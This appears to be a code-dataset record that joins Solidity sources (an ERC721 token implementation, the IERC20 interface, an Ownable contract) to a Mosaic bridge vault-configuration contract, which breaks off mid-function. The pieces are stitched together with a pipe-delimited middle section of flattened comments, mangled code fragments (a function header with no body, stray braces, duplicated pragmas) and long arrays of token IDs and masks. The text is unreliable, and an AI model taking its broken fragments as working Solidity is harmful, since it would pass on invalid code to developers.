import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
|
* @dev Returns the amount of tokens in existence./* @dev Returns the amount of tokens owned by `account`./* @dev Moves `amount` tokens from the caller's account to `recipient`. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event./* @dev Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. This value changes when {approve} or {transferFrom} are called./* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. Returns a boolean value indicating whether the operation succeeded. IMPORTANT: Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: Emits an {Approval} event./* @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. `amount` is then deducted from the caller's allowance. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event./* @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero./* @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance./ SPDX-License-Identifier: MIT* @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./
|
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
import "../utils/Context.sol";
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
| 406,358 |
[
1,
1356,
326,
3844,
434,
2430,
316,
15782,
18,
19,
225,
2860,
326,
3844,
434,
2430,
16199,
635,
1375,
4631,
8338,
19,
225,
490,
10829,
1375,
8949,
68,
2430,
628,
326,
4894,
1807,
2236,
358,
1375,
20367,
8338,
2860,
279,
1250,
460,
11193,
2856,
326,
1674,
15784,
18,
7377,
1282,
279,
288,
5912,
97,
871,
18,
19,
225,
2860,
326,
4463,
1300,
434,
2430,
716,
1375,
87,
1302,
264,
68,
903,
506,
2935,
358,
17571,
603,
12433,
6186,
434,
1375,
8443,
68,
3059,
288,
13866,
1265,
5496,
1220,
353,
3634,
635,
805,
18,
1220,
460,
3478,
1347,
288,
12908,
537,
97,
578,
288,
13866,
1265,
97,
854,
2566,
18,
19,
225,
11511,
1375,
8949,
68,
487,
326,
1699,
1359,
434,
1375,
87,
1302,
264,
68,
1879,
326,
4894,
1807,
2430,
18,
2860,
279,
1250,
460,
11193,
2856,
326,
1674,
15784,
18,
21840,
6856,
30,
605,
359,
834,
716,
12770,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
17801,
6835,
14223,
6914,
353,
1772,
288,
203,
565,
1758,
3238,
389,
8443,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
2416,
5541,
16,
1758,
8808,
394,
5541,
1769,
203,
203,
565,
445,
389,
5771,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1147,
548,
203,
97,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
203,
97,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
203,
5666,
315,
6216,
5471,
19,
1042,
18,
18281,
14432,
203,
203,
565,
3885,
1435,
288,
203,
3639,
389,
542,
5541,
24899,
3576,
12021,
10663,
203,
565,
289,
203,
203,
565,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
2583,
12,
8443,
1435,
422,
389,
3576,
12021,
9334,
315,
5460,
429,
30,
4894,
353,
486,
326,
3410,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
3639,
389,
542,
5541,
12,
2867,
12,
20,
10019,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
5024,
1338,
5541,
288,
203,
3639,
2583,
12,
2704,
5541,
480,
1758,
12,
20,
3631,
315,
5460,
429,
30,
394,
3410,
353,
326,
3634,
1758,
8863,
203,
3639,
389,
542,
5541,
12,
2704,
5541,
2
] |
./partial_match/3/0x7005f3B42119FC764FE9B57f90eA40503BD66465/sources/HOURIncentivizer.sol
|
modifier checkStart(){
|
require(block.timestamp >= starttime,"not start");
| 5,069,936 |
[
1,
20597,
866,
1685,
1435,
95,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1377,
2583,
12,
2629,
18,
5508,
1545,
23437,
10837,
902,
787,
8863,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../interfaces/IMosaicVaultConfig.sol";
import "../interfaces/IMosaicHolding.sol";
import "../interfaces/ITokenFactory.sol";
import "../libraries/FeeOperations.sol";
import "./VaultConfigBase.sol";
contract MosaicVaultConfig is IMosaicVaultConfig, VaultConfigBase {
/// @notice ratio for token transfers. 1000 -> 1:1 transfer
uint256 public constant TOKEN_RATIO = 1000;
uint256 private nonce;
string private constant ACTIVE_TOKEN_NAME = "IOU-";
string private constant PASSIVE_TOKEN_NAME = "R-";
/// @notice lock time for passive liquidity
uint256 public override passiveLiquidityLocktime;
/// @notice min fee per transfer
uint256 public override minFee;
/// @notice max fee per transfer
uint256 public override maxFee;
/// @notice minimum number of blocks to provide liquidity
uint256 public override minLimitLiquidityBlocks;
/// @notice maximum number of blocks to provide liquidity
uint256 public override maxLimitLiquidityBlocks;
/// @notice Address of ERC20 wrap eth
address public override wethAddress;
/// @notice Store address of a token in another network
// @dev remoteTokenAddress[networkID][addressHere] = addressThere
mapping(uint256 => mapping(address => address)) public override remoteTokenAddress;
/// @notice Ratio of token in another network
mapping(uint256 => mapping(address => uint256)) public override remoteTokenRatio;
/*
UNISWAP = 2
SUSHISWAP = 3
CURVE = 4
*/
mapping(uint256 => address) public override supportedAMMs;
/// @notice Public function to query the whitelisted tokens list
/// @dev token address => WhitelistedToken struct
mapping(address => WhitelistedToken) public whitelistedTokens;
/// @notice Public reference to the paused networks
mapping(uint256 => bool) public override pausedNetwork;
/// @notice flag that indicates if part of a Mosaic transfer or liquidity withdrawal
/// can be swapped into the native token of the destination network
bool public override ableToPerformSmallBalanceSwap;
/// @notice Public reference to the addresses of the NativeSwapper contracts used to swap
/// a part of a transfer or liquidity withdrawal to native token
mapping(uint256 => address) public override supportedMosaicNativeSwappers;
/// @notice Initialize function to set up the contract
/// @dev it should be called immediately after deploy
/// @param _mosaicHolding Address of the MosaicHolding contract
function initialize(address _mosaicHolding) public initializer {
require(_mosaicHolding != address(0), "ERR: HOLDING ADDRESS");
__Ownable_init();
nonce = 0;
// 0%
minFee = 0;
// 5%
maxFee = 500;
// 1 day
minLimitLiquidityBlocks = 1;
maxLimitLiquidityBlocks = 100;
passiveLiquidityLocktime = 1 days;
mosaicHolding = IMosaicHolding(_mosaicHolding);
}
/// @notice sets the lock time for passive liquidity
/// @param _locktime new lock time for passive liquidity
function setPassiveLiquidityLocktime(uint256 _locktime) external override onlyOwner {
passiveLiquidityLocktime = _locktime;
}
/// @notice External function called by owner to set the ERC20 WETH address
/// @param _weth address of the WETH
/// @param _minTransferAmount min amount of ETH that can be transfered
/// @param _maxTransferAmount max amount of ETH that can be transfered
function setWethAddress(
address _weth,
uint256 _minTransferAmount,
uint256 _maxTransferAmount
) external override onlyOwner validAddress(_weth) {
if (wethAddress != address(0)) {
_removeWhitelistedToken(wethAddress);
}
_addWhitelistedToken(_weth, _minTransferAmount, _maxTransferAmount);
wethAddress = _weth;
}
/// @notice Get IOU address of an ERC20 token
/// @param _token address of the token whose underlying IOU we are requesting
function getUnderlyingIOUAddress(address _token) external view override returns (address) {
return whitelistedTokens[_token].underlyingIOUAddress;
}
/// @notice Get Receipt address of an ERC20 token
/// @param _token address of the token whose underlying Receipt we are requesting
function getUnderlyingReceiptAddress(address _token) external view override returns (address) {
return whitelistedTokens[_token].underlyingReceiptAddress;
}
/// @notice Public function to add address of the AMM used to swap tokens
/// @param _ammID the integer constant for the AMM
/// @param _ammAddress Address of the AMM
/// @dev AMM should be a wrapper created by us over the AMM implementation
function addSupportedAMM(uint256 _ammID, address _ammAddress)
public
override
onlyOwner
validAddress(_ammAddress)
{
supportedAMMs[_ammID] = _ammAddress;
emit AMMAdded(_ammID, _ammAddress);
}
/// @notice Public function to remove address of the AMM
/// @param _ammID the integer constant for the AMM
function removeSupportedAMM(uint256 _ammID) public override onlyOwner {
delete supportedAMMs[_ammID];
emit AMMRemoved(_ammID);
}
/// @notice External function called by the owner in order to change remote token ration
/// @param _tokenAddress Address of the token in this network
/// @param _remoteNetworkID Network Id
/// @param _remoteTokenRatio New token ratio
function changeRemoteTokenRatio(
address _tokenAddress,
uint256 _remoteNetworkID,
uint256 _remoteTokenRatio
) external override onlyOwner validAmount(remoteTokenRatio[_remoteNetworkID][_tokenAddress]) {
remoteTokenRatio[_remoteNetworkID][_tokenAddress] = _remoteTokenRatio;
}
/// @notice Adds a whitelisted token to the contract, allowing for anyone to deposit their tokens.
/// @param _tokenAddress SC address of the ERC20 token to add to whitelisted tokens
/// @param _minTransferAmount min amount of tokens that can be transfered
/// @param _maxTransferAmount max amount of tokens that can be transfered
function addWhitelistedToken(
address _tokenAddress,
uint256 _minTransferAmount,
uint256 _maxTransferAmount
) external override onlyOwner validAddress(_tokenAddress) {
_addWhitelistedToken(_tokenAddress, _minTransferAmount, _maxTransferAmount);
}
/// @notice Updates a whitelisted token limit.
/// @param _tokenAddress SC address of the ERC20 token to add to whitelisted tokens
/// @param _minTransferAmount min amount of tokens that can be transfered
function updateWhitelistedTokenMinLimit(address _tokenAddress, uint256 _minTransferAmount)
external
onlyOwner
validAddress(_tokenAddress)
{
require(
whitelistedTokens[_tokenAddress].underlyingIOUAddress != address(0),
"ERR: NOT WHITELISTED"
);
require(
whitelistedTokens[_tokenAddress].maxTransferAllowed > _minTransferAmount,
"ERR: MAX > MIN"
);
whitelistedTokens[_tokenAddress].minTransferAllowed = _minTransferAmount;
}
/// @notice Updates a whitelisted token limit.
/// @param _tokenAddress SC address of the ERC20 token to add to whitelisted tokens
/// @param _maxTransferAmount max amount of tokens that can be transfered
function updateWhitelistedTokenMaxLimit(address _tokenAddress, uint256 _maxTransferAmount)
external
onlyOwner
validAddress(_tokenAddress)
{
require(
whitelistedTokens[_tokenAddress].underlyingIOUAddress != address(0),
"ERR: NOT WHITELISTED"
);
require(
_maxTransferAmount > whitelistedTokens[_tokenAddress].minTransferAllowed,
"ERR: MAX > MIN"
);
whitelistedTokens[_tokenAddress].maxTransferAllowed = _maxTransferAmount;
}
/// @notice Internal function that adds a whitelisted token to the contract, allowing for anyone to deposit their tokens
/// @param _tokenAddress SC address of the ERC20 token to add to whitelisted tokens
/// @param _minTransferAmount min amount of tokens that can be transfered
/// @param _maxTransferAmount max amount of tokens that can be transfered
function _addWhitelistedToken(
address _tokenAddress,
uint256 _minTransferAmount,
uint256 _maxTransferAmount
) private nonReentrant {
require(_maxTransferAmount > _minTransferAmount, "ERR: MAX > MIN");
require(
whitelistedTokens[_tokenAddress].underlyingIOUAddress == address(0),
"ERR: ALREADY WHITELISTED"
);
(address newIou, address newReceipt) = _deployLiquidityTokens(_tokenAddress);
whitelistedTokens[_tokenAddress].minTransferAllowed = _minTransferAmount;
whitelistedTokens[_tokenAddress].maxTransferAllowed = _maxTransferAmount;
emit TokenWhitelisted(_tokenAddress, newIou, newReceipt);
}
/// @dev Private function called when deploy a receipt IOU token based on already deployed ERC20 token
/// @param _underlyingToken address of the underlying token
function _deployLiquidityTokens(address _underlyingToken) private returns (address, address) {
require(address(tokenFactory) != address(0), "ERR: FACTORY INIT");
require(address(vault) != address(0), "ERR: VAULT INIT");
address newIou = tokenFactory.createIOU(_underlyingToken, ACTIVE_TOKEN_NAME, vault);
address newReceipt = tokenFactory.createReceipt(
_underlyingToken,
PASSIVE_TOKEN_NAME,
vault
);
